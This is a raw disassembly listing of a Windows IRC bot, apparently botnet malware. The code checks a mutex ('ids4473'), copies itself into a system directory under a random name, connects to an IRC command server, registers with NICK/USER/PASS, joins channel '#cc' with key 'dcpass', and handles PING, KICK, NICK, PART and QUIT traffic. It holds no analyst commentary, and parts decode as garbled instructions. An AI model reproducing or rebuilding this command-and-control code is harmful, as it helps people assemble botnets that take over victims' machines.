push [ebp+arg_0]
call sub_4098AF
add esp, 10h
loc_4099E9: ; CODE XREF: sub_409981+54j
push esi
call sub_4126F0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_4099C6
loc_4099FA: ; CODE XREF: sub_409981+43j
push edi
call sub_412813
pop ecx
pop edi
pop esi
loc_409A03: ; CODE XREF: sub_409981+1Fj
pop ebx
pop ebp
retn
sub_409981 endp
; ---------------------------------------------------------------------------
loc_409A06: ; DATA XREF: .nsp0:00409B02o
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_438C64
call dword_433B60 ; closesocket
call sub_411B63
call dword_433A28 ; WSACleanup
call dword_433A28 ; WSACleanup
mov ebx, dword_41D05C
push 64h
call ebx ; dword_41D05C
xor edi, edi
push 10h
lea eax, [ebp-10h]
push edi
push eax
call sub_411F70
push 44h
lea eax, [ebp-54h]
pop esi
push esi
push edi
push eax
call sub_411F70
add esp, 18h
mov [ebp-54h], esi
mov esi, 104h
lea eax, [ebp-25Ch]
push esi
push eax
mov dword ptr [ebp-48h], offset byte_432708
mov dword ptr [ebp-28h], 1
mov [ebp-24h], di
call near ptr 0AB0000h
inc edi
lea eax, [ebp-158h]
push esi
push eax
push edi
call near ptr 0AB0000h
mov ch, 8Dh
inc ebp
lock push eax
lea eax, [ebp-54h]
push eax
lea eax, [ebp-25Ch]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp-158h]
push edi
push eax
push edi
call near ptr 0AB0000h
xchg eax, edx
test eax, eax
jz short loc_409ACB
push 64h
call ebx ; dword_41D05C
push dword ptr [ebp-10h]
mov esi, dword_41D074
call esi ; dword_41D074
push dword ptr [ebp-0Ch]
call esi ; dword_41D074
loc_409ACB: ; CODE XREF: .nsp0:00409AB5j
mov eax, [ebp+10h]
mov dword ptr [eax+0B0h], offset dword_437ED0
mov eax, [esp]
mov large fs:0, eax
add esp, 8
push edi
call dword_41D108 ; ExitProcess
pop edi
pop esi
pop ebx
push ebp
mov ebp, esp
sub esp, 98Ch
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-10h], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-8], offset loc_409A06
push dword ptr [ebp-8]
push large dword ptr fs:0
mov large fs:0, esp
cmp dword_425B60, ebx
jz short loc_409B27
call sub_407E71
loc_409B27: ; CODE XREF: .nsp0:00409B20j
mov esi, dword_41D048
call esi ; dword_41D048
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_461F48, eax
call esi ; dword_41D048
push eax
call sub_411F40
pop ecx
call sub_4068C6
push 2
call dword_433B74 ; SetErrorMode
push 7530h
push offset aIds4473 ; "ids4473"
push ebx
push ebx
call near ptr 0AB0000h
popa
push eax
call near ptr 0AB0000h
push edi
cmp eax, 102h
jnz short loc_409B7B
push 1
call dword_41D108 ; ExitProcess
loc_409B7B: ; CODE XREF: .nsp0:00409B71j
lea eax, [ebp-888h]
push eax
push 202h
call dword_433A40 ; WSAStartup
cmp eax, ebx
mov [ebp-8], eax
jnz loc_40A050
cmp byte ptr [ebp-888h], 2
jnz loc_40A04A
xor eax, eax
mov al, [ebp-887h]
cmp al, 2
jnz loc_40A04A
mov esi, 104h
lea eax, [ebp-3F4h]
push esi
push eax
call near ptr 0AB0000h
repne lea eax, [ebp-2F0h]
push esi
push eax
push ebx
call near ptr 0AB0000h
loop loc_409C28
call near ptr 0AB0000h
stosd
lea eax, [ebp-5F8h]
push eax
lea eax, [ebp-6F8h]
push eax
push ebx
lea eax, [ebp-2F0h]
push ebx
push eax
call sub_413BF8
lea eax, [ebp-5F8h]
push eax
lea eax, [ebp-6F8h]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp-4F8h]
push esi
push eax
call sub_41246A
lea eax, [ebp-3F4h]
push eax
lea eax, [ebp-2F0h]
push eax
loc_409C28: ; CODE XREF: .nsp0:00409BD6j
call sub_4124C0
add esp, 30h
test eax, eax
jnz loc_409DDE
cmp dword_4620B8, ebx
mov esi, offset byte_425BC0
jz short loc_409C76
push esi
xor edi, edi
call sub_4126F0
sub eax, 4
pop ecx
jz short loc_409C76
loc_409C53: ; CODE XREF: .nsp0:00409C74j
call sub_411F4A
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_425BC0[edi], dl
inc edi
call sub_4126F0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_409C53
loc_409C76: ; CODE XREF: .nsp0:00409C43j
; .nsp0:00409C51j
lea eax, [ebp-3F4h]
push esi
push eax
lea eax, [ebp-1ECh]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_411EEE
add esp, 10h
lea eax, [ebp-1ECh]
push eax
call dword_41D080 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short near ptr loc_409CB5+1
lea eax, [ebp-1ECh]
push 80h
push eax
call near ptr 0AB0000h
loc_409CB5: ; CODE XREF: .nsp0:00409CA2j
test [ebx+41D11835h], ecx
add [ebp-1EB7Bh], cl
call dword ptr [ebx+50h]
lea eax, [ebp-2F0h]
xor edi, edi
push eax
loc_409CCD: ; CODE XREF: .nsp0:00409D04j
call esi ; byte_425BC0
test eax, eax
jnz short loc_409D06
call dword_41D06C ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_409D06
cmp eax, 20h
jz short loc_409CE7
cmp eax, 5
jnz short loc_409D06
loc_409CE7: ; CODE XREF: .nsp0:00409CE0j
push 1
pop edi
push 3A98h
call dword_41D05C ; Sleep
lea eax, [ebp-1ECh]
push ebx
push eax
lea eax, [ebp-2F0h]
push eax
jmp short loc_409CCD
; ---------------------------------------------------------------------------
loc_409D06: ; CODE XREF: .nsp0:00409CD1j
; .nsp0:00409CDBj ...
lea eax, [ebp-1ECh]
push eax
call sub_407C23
pop ecx
lea eax, [ebp-1ECh]
push 7
push eax
call near ptr 0AB0000h
shr dword ptr [edx+10h], 1
lea eax, [ebp-24h]
push ebx
push eax
call sub_411F70
push 44h
lea eax, [ebp-68h]
pop esi
push esi
push ebx
push eax
call sub_411F70
add esp, 18h
mov [ebp-68h], esi
mov dword ptr [ebp-5Ch], offset byte_432708
mov [ebp-38h], bx
push 1
pop esi
mov [ebp-3Ch], esi
call near ptr 0AB0000h
or [eax+56h], edx
push 100000h
call near ptr 0AB0000h
push esi
lea ecx, [ebp-2F0h]
push ecx
push eax
lea eax, [ebp-1ECh]
push eax
lea eax, [ebp-98Ch]
push offset dword_42CC40
push eax
call sub_411EEE
add esp, 14h
lea eax, [ebp-24h]
push eax
lea eax, [ebp-68h]
push eax
lea eax, [ebp-3F4h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-98Ch]
push ebx
push eax
lea eax, [ebp-1ECh]
push eax
call near ptr 0AB0000h
movsd
test eax, eax
jz short loc_409DDE
push 0C8h
call dword_41D05C ; Sleep
push dword ptr [ebp-24h]
mov esi, dword_41D074
call esi ; dword_41D074
push dword ptr [ebp-20h]
call esi ; dword_41D074
call dword_433A28 ; WSACleanup
push ebx
call dword_41D108 ; ExitProcess
loc_409DDE: ; CODE XREF: .nsp0:00409C32j
; .nsp0:00409DB4j
cmp dword_462BE0, 2
jle short loc_409E2A
mov eax, dword_462BE4
push dword ptr [eax+4]
call sub_41245F
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call near ptr 0AB0000h
repne push esi
call dword_41D074 ; CloseHandle
mov eax, dword_462BE4
cmp [eax+8], ebx
jz short loc_409E2A
push 7D0h
call dword_41D05C ; Sleep
mov eax, dword_462BE4
push dword ptr [eax+8]
call near ptr 0AB0000h
das
loc_409E2A: ; CODE XREF: .nsp0:00409DE5j
; .nsp0:00409E0Fj
cmp dword_425B68, ebx
jz short loc_409E47
cmp dword_433B98, ebx
jnz short loc_409E47
lea eax, [ebp-4F8h]
push eax
call sub_409026
pop ecx
loc_409E47: ; CODE XREF: .nsp0:00409E30j
; .nsp0:00409E38j
lea eax, [ebp-0E8h]
push offset dword_42CC14
push eax
call sub_411EEE
push ebx
lea eax, [ebp-0E8h]
push ebx
push eax
call sub_41199A
lea eax, [ebp-0E8h]
push eax
call sub_408E17
push 0B80h
push ebx
push offset dword_437ED8
call sub_411F70
lea eax, [ebp-0E8h]
push offset unk_42CBD8
push eax
call sub_411EEE
push ebx
lea eax, [ebp-0E8h]
push 1
push eax
call sub_41199A
add esp, 38h
mov esi, eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4F8h]
push ebx
push eax
push offset sub_409096
push ebx
push ebx
call dword_41D070 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_438C6C[esi], eax
jnz short loc_409EEB
call dword_41D06C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-0E8h]
push offset unk_42CB88
push eax
call sub_411EEE
add esp, 0Ch
loc_409EEB: ; CODE XREF: .nsp0:00409ECEj
lea eax, [ebp-0E8h]
push eax
call sub_408E17
call sub_411F4A
push 7Fh
push offset a1068346466 ; "1068346466"
push offset dword_461F54
mov dword_4620CC, ebx
call sub_413710
mov eax, dword_425B4C
push 3Fh
mov edi, offset dword_461FD4
push offset aCc ; "#cc"
push edi
mov dword_4620A4, eax
call sub_413710
push 3Fh
mov esi, offset dword_462014
push offset aDcpass ; "dcpass"
push esi
call sub_413710
add esp, 28h
mov dword_4620A8, ebx
loc_409F4A: ; CODE XREF: .nsp0:00409FF0j
; .nsp0:00409FFBj ...
mov [ebp-4], ebx
loc_409F4D: ; CODE XREF: .nsp0:00409FA4j
cmp dword_433BB0, ebx
jnz short loc_409F6B
lea eax, [ebp-14h]
push ebx
push eax
call dword_433A0C ; InternetGetConnectedState
test eax, eax
jnz short loc_409F6B
push 7530h
jmp short loc_409F97
; ---------------------------------------------------------------------------
loc_409F6B: ; CODE XREF: .nsp0:00409F53j
; .nsp0:00409F62j
push offset dword_461F50
mov dword_4620C8, ebx
call sub_40A059
cmp eax, 2
mov [ebp-8], eax
jz loc_40A045
cmp dword_4620C8, ebx
jz short loc_409F92
dec dword ptr [ebp-4]
loc_409F92: ; CODE XREF: .nsp0:00409F8Dj
push 0BB8h
loc_409F97: ; CODE XREF: .nsp0:00409F69j
call dword_41D05C ; Sleep
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_409F4D
cmp dword ptr [ebp-8], 2
jz loc_40A045
cmp [ebp-0Ch], ebx
jz short loc_409FF5
push 7Fh
push offset a1068346466 ; "1068346466"
push offset dword_461F54
call sub_413710
mov eax, dword_425B4C
push 3Fh
push offset aCc ; "#cc"
push edi
mov dword_4620A4, eax
call sub_413710
push 3Fh
push offset aDcpass ; "dcpass"
push esi
call sub_413710
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_409F4A
; ---------------------------------------------------------------------------
loc_409FF5: ; CODE XREF: .nsp0:00409FB3j
cmp byte_425BA8, bl
jz loc_409F4A
push 7Fh
push offset byte_425BA8
push offset dword_461F54
call sub_413710
mov eax, dword_425B50
push 3Fh
push offset aCc_0 ; "#cc"
push edi
mov dword_4620A4, eax
call sub_413710
push 3Fh
push offset aDcpass_0 ; "dcpass"
push esi
call sub_413710
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_409F4A
; ---------------------------------------------------------------------------
loc_40A045: ; CODE XREF: .nsp0:00409F81j
; .nsp0:00409FAAj
call sub_411B63
loc_40A04A: ; CODE XREF: .nsp0:00409B9Fj
; .nsp0:00409BAFj
call dword_433A28 ; WSACleanup
loc_40A050: ; CODE XREF: .nsp0:00409B92j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A059 proc near ; CODE XREF: .nsp0:00409F76p
; DATA XREF: .nsp0:0040D8F7o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40A07E: ; CODE XREF: sub_40A059+E6j
; sub_40A059+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_411F70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_433AC8 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_407F2F
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40A1AB
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_411F70
push 0
lea eax, [ebp+var_2C]
push dword_4620BC
push dword_425B74
push eax
call sub_4110D8
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_438C70
push edi
push eax
call sub_413710
add esp, 28h
push 6
push 1
push 2
call dword_433B48 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_438C64[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_433A70 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40A144
push esi
call dword_433B60 ; closesocket
call sub_407F58
push 7D0h
loc_40A139: ; CODE XREF: sub_40A059+146j
call dword_41D05C ; Sleep
jmp loc_40A07E
; ---------------------------------------------------------------------------
loc_40A144: ; CODE XREF: sub_40A059+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_42CC4C
call sub_408E8B
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40A1C1
add esp, 28h
mov edi, eax
push esi
call dword_433B60 ; closesocket
test edi, edi
jz loc_40A07E
cmp edi, 1
jnz short loc_40A1A1
push 0DBBA0h
jmp short loc_40A139
; ---------------------------------------------------------------------------
loc_40A1A1: ; CODE XREF: sub_40A059+13Fj
cmp edi, 2
jz short loc_40A1AF
jmp loc_40A07E
; ---------------------------------------------------------------------------
loc_40A1AB: ; CODE XREF: sub_40A059+5Aj
xor eax, eax
jmp short loc_40A1BB
; ---------------------------------------------------------------------------
loc_40A1AF: ; CODE XREF: sub_40A059+14Bj
push [ebp+var_34]
call sub_411CB6
pop ecx
push 2
pop eax
loc_40A1BB: ; CODE XREF: sub_40A059+154j
pop edi
pop esi
leave
retn 4
sub_40A059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A1C1 proc near ; CODE XREF: sub_40A059+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_412770
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40A1DF: ; CODE XREF: sub_40A1C1+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40A1DF
cmp byte_4620C0, bl
jz short loc_40A206
push offset byte_4620C0
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40F9AB
add esp, 0Ch
loc_40A206: ; CODE XREF: sub_40A1C1+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_4110D8
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_411EEE
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_433B18 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40A270
push [ebp+arg_0]
call dword_433B60 ; closesocket
push 1388h
call dword_41D05C ; Sleep
loc_40A269: ; CODE XREF: sub_40A1C1+D9j
; sub_40A1C1+153j
xor eax, eax
loc_40A26B: ; CODE XREF: sub_40A1C1+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A270: ; CODE XREF: sub_40A1C1+92j
; sub_40A1C1+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_411F70
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_433AE0 ; recv
test eax, eax
jle short loc_40A269
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_40790F
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40A270
lea edi, [ebp+var_A10]
loc_40A2C1: ; CODE XREF: sub_40A1C1+165j
push 1
pop esi
loc_40A2C4: ; CODE XREF: sub_40A1C1+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call loc_40A339
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40A307
push 7D0h
call dword_41D05C ; Sleep
jmp short loc_40A2C4
; ---------------------------------------------------------------------------
loc_40A307: ; CODE XREF: sub_40A1C1+137j
cmp esi, 0FFFFFFFDh
jz short loc_40A331
cmp esi, 0FFFFFFFEh
jz short loc_40A32D
cmp esi, 0FFFFFFFFh
jz loc_40A269
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40A2C1
jmp loc_40A270
; ---------------------------------------------------------------------------
loc_40A32D: ; CODE XREF: sub_40A1C1+14Ej
push 1
jmp short loc_40A333
; ---------------------------------------------------------------------------
loc_40A331: ; CODE XREF: sub_40A1C1+149j
push 2
loc_40A333: ; CODE XREF: sub_40A1C1+16Ej
pop eax
jmp loc_40A26B
sub_40A1C1 endp
; ---------------------------------------------------------------------------
loc_40A339: ; CODE XREF: sub_40A1C1+12Ap
push ebp
mov ebp, esp
mov eax, 159Ch
call sub_412770
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
mov dword ptr [ebp-0ACh], 3
mov [ebp-10h], ebx
mov [ebp-0A8h], ebx
mov [ebp-8], ebx
mov [ebp-4], ebx
mov [ebp-0C8h], ebx
call sub_411F70
push 1Bh
lea eax, [ebp-564h]
push dword ptr [ebp+18h]
push eax
call sub_413710
add esp, 18h
cmp [ebp+8], ebx
jz loc_40A7B4
push esi
lea eax, [ebp-0F9Ch]
push ebx
push eax
call sub_411F70
dec esi
lea eax, [ebp-0F9Ch]
push esi
push dword ptr [ebp+8]
push eax
call sub_413710
lea eax, [ebp-0F9Ch]
push offset asc_42FCC8 ; " :"
push eax
call sub_4124C0
mov [ebp-0Ch], eax
lea eax, [ebp-0F9Ch]
push esi
push eax
lea eax, [ebp-119Ch]
push eax
call sub_413710
mov esi, offset asc_421F4C ; " "
lea eax, [ebp-119Ch]
push esi
push eax
call sub_413668
add esp, 34h
mov [ebp-94h], eax
lea edi, [ebp-90h]
mov dword ptr [ebp-0A4h], 1Fh
loc_40A40C: ; CODE XREF: .nsp0:0040A420j
push esi
push ebx
call sub_413668
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp-0A4h]
pop ecx
jnz short loc_40A40C
mov esi, [ebp-94h]
cmp esi, ebx
jz loc_40A7B4
cmp [ebp-90h], ebx
jz loc_40A7B4
push 100h
lea eax, [ebp-0A14h]
push ebx
push eax
call sub_411F70
add esp, 0Ch
lea ecx, [ebp-18h]
push 1Fh
pop edx
push 1
pop edi
loc_40A45A: ; CODE XREF: .nsp0:0040A48Cj
mov eax, [ecx]
cmp eax, ebx
jz short loc_40A486
cmp byte ptr [eax], 2Dh
jnz short loc_40A48E
cmp [eax+2], bl
jnz short loc_40A48E
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov byte ptr [ebp+esi-0A14h], 1
mov esi, [ebp-94h]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40A486: ; CODE XREF: .nsp0:0040A45Ej
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40A45A
loc_40A48E: ; CODE XREF: .nsp0:0040A463j
; .nsp0:0040A468j
cmp [ebp-9A1h], bl
jz short loc_40A499
mov [ebp-8], edi
loc_40A499: ; CODE XREF: .nsp0:0040A494j
cmp [ebp-9A6h], bl
jz short loc_40A4A7
mov [ebp-8], ebx
mov [ebp-4], edi
loc_40A4A7: ; CODE XREF: .nsp0:0040A49Fj
cmp byte ptr [esi], 0Ah
jz short loc_40A4E1
push 7Fh
lea eax, [ebp-0A94h]
push esi
push eax
call sub_413710
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp-0C4h]
push eax
call sub_413710
lea eax, [ebp-0C4h]
push offset dword_428DB8
push eax
call sub_413668
add esp, 20h
loc_40A4E1: ; CODE XREF: .nsp0:0040A4AAj
push esi
push offset aPing ; "PING"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40A532
push dword ptr [ebp-90h]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
mov eax, [ebp+28h]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40A5D6
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
add esp, 10h
jmp loc_40A5D6
; ---------------------------------------------------------------------------
loc_40A532: ; CODE XREF: .nsp0:0040A4F0j
mov esi, [ebp-90h]
push esi
push offset a001 ; "001"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F965
push esi
push offset a005 ; "005"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40F965
push esi
push offset a302 ; "302"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40A59D
push offset a@_6 ; "@"
push dword ptr [ebp-88h]
call sub_4124C0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40A5D6
inc eax
push 9Fh
push eax
push dword ptr [ebp+24h]
call sub_413710
add esp, 0Ch
jmp short loc_40A5D6
; ---------------------------------------------------------------------------
loc_40A59D: ; CODE XREF: .nsp0:0040A571j
push esi
push offset a433 ; "433"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40A5DD
push ebx
push dword_4620BC
push dword_425B74
push dword ptr [ebp+18h]
call sub_4110D8
push dword ptr [ebp+18h]
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
add esp, 1Ch
loc_40A5D6: ; CODE XREF: .nsp0:0040A511j
; .nsp0:0040A52Dj ...
mov eax, edi
jmp loc_40A7B7
; ---------------------------------------------------------------------------
loc_40A5DD: ; CODE XREF: .nsp0:0040A5ACj
mov esi, [ebp+20h]
mov dword ptr [ebp-0A4h], 2
mov edi, 80h
loc_40A5EF: ; CODE XREF: .nsp0:0040A614j
lea eax, [ebp-0A94h]
push eax
push esi
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40A60C
mov dword ptr [ebp-0A8h], 1
loc_40A60C: ; CODE XREF: .nsp0:0040A600j
add esi, edi
dec dword ptr [ebp-0A4h]
jnz short loc_40A5EF
mov esi, [ebp-90h]
push esi
push offset aKick ; "KICK"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40A703
mov esi, [ebp+20h]
mov dword ptr [ebp+2Ch], 2
loc_40A63B: ; CODE XREF: .nsp0:0040A6C8j
cmp [esi], bl
jz loc_40A6C3
push 7Fh
lea eax, [ebp-0A94h]
push esi
push eax
call sub_413710
lea eax, [ebp-0C4h]
add esp, 0Ch
test eax, eax
jz short loc_40A6C3
cmp [ebp-88h], ebx
jz short loc_40A6C3
push dword ptr [ebp-88h]
lea eax, [ebp-0C4h]
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40A6C3
lea eax, [ebp-0C4h]
mov [esi], bl
push eax
lea eax, [ebp-2C8h]
push offset dword_42FC54
push eax
call sub_411EEE
lea eax, [ebp-2C8h]
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_40F9AB
lea eax, [ebp-2C8h]
push eax
call sub_408E17
add esp, 20h
loc_40A6C3: ; CODE XREF: .nsp0:0040A63Dj
; .nsp0:0040A65Dj ...
add esi, edi
dec dword ptr [ebp+2Ch]
jnz loc_40A63B
push dword ptr [ebp-88h]
push dword ptr [ebp+18h]
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40A7B4
push dword ptr [ebp+14h]
mov eax, [ebp+28h]
push dword ptr [ebp+10h]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40A6F6: ; CODE XREF: .nsp0:0040A935j
; .nsp0:0040AC01j
push dword ptr [ebp+0Ch]
call sub_40F9AB
jmp loc_40F21B
; ---------------------------------------------------------------------------
loc_40A703: ; CODE XREF: .nsp0:0040A62Bj
push esi
push offset aNick ; "NICK"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40A849
mov eax, [ebp-8Ch]
mov esi, [ebp+20h]
inc eax
mov dword ptr [ebp+8], 2
mov [ebp+2Ch], eax
loc_40A72C: ; CODE XREF: .nsp0:0040A77Ej
lea eax, [ebp-0A94h]
push eax
push esi
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40A779
lea eax, [ebp-0A94h]
push 21h
push eax
call sub_414140
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+24h], eax
jz short loc_40A779
push dword ptr [ebp+2Ch]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_412600
push dword ptr [ebp+24h]
push edi
call sub_412610
add esp, 10h
mov edi, 80h
loc_40A779: ; CODE XREF: .nsp0:0040A73Dj
; .nsp0:0040A754j
add esi, edi
dec dword ptr [ebp+8]
jnz short loc_40A72C
lea eax, [ebp-0C4h]
test eax, eax
jz short loc_40A7B4
cmp [ebp+2Ch], ebx
jz short loc_40A7B4
push dword ptr [ebp+18h]
lea eax, [ebp-0C4h]
push eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40A7BC
push 0Fh
push dword ptr [ebp+2Ch]
push dword ptr [ebp+18h]
call sub_413710
add esp, 0Ch
loc_40A7B4: ; CODE XREF: .nsp0:0040A394j
; .nsp0:0040A42Aj ...
push 1
loc_40A7B6: ; CODE XREF: .nsp0:0040F4DCj
pop eax
loc_40A7B7: ; CODE XREF: .nsp0:0040A5D8j
; .nsp0:0040C0B2j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A7BC: ; CODE XREF: .nsp0:0040A7A2j
mov edi, [ebp+20h]
xor esi, esi
loc_40A7C1: ; CODE XREF: .nsp0:0040A7E2j
cmp [edi], bl
jz short loc_40A7D8
lea eax, [ebp-0A94h]
push eax
push edi
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40A7E6
loc_40A7D8: ; CODE XREF: .nsp0:0040A7C3j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40A7C1
jmp short loc_40A7B4
; ---------------------------------------------------------------------------
loc_40A7E6: ; CODE XREF: .nsp0:0040A7D6j
lea eax, [ebp-0A94h]
push 21h
push eax
call sub_414140
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
jz short loc_40A7B4
push eax
call sub_4126F0
push dword ptr [ebp+2Ch]
mov edi, eax
call sub_4126F0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_40A7B4
push dword ptr [ebp+8]
shl esi, 7
push dword ptr [ebp+2Ch]
add esi, [ebp+20h]
push offset aSS_1 ; ":%s%s"
push esi
call sub_411EEE
push ebx
lea eax, [ebp-4ACh]
push ebx
push eax
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 24h
jmp loc_40A7B4
; ---------------------------------------------------------------------------
loc_40A849: ; CODE XREF: .nsp0:0040A712j
push esi
push offset aPart ; "PART"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40A86B
push esi
push offset aQuit ; "QUIT"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40A892
loc_40A86B: ; CODE XREF: .nsp0:0040A858j
mov edi, [ebp+20h]
xor esi, esi
loc_40A870: ; CODE XREF: .nsp0:0040A890j
cmp [edi], bl
jz short loc_40A886
push dword ptr [ebp-94h]
push edi
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40A8D9
loc_40A886: ; CODE XREF: .nsp0:0040A872j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40A870
loc_40A892: ; CODE XREF: .nsp0:0040A869j
push dword ptr [ebp-90h]
push offset a353 ; "353"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40A93A
push dword ptr [ebp-84h]
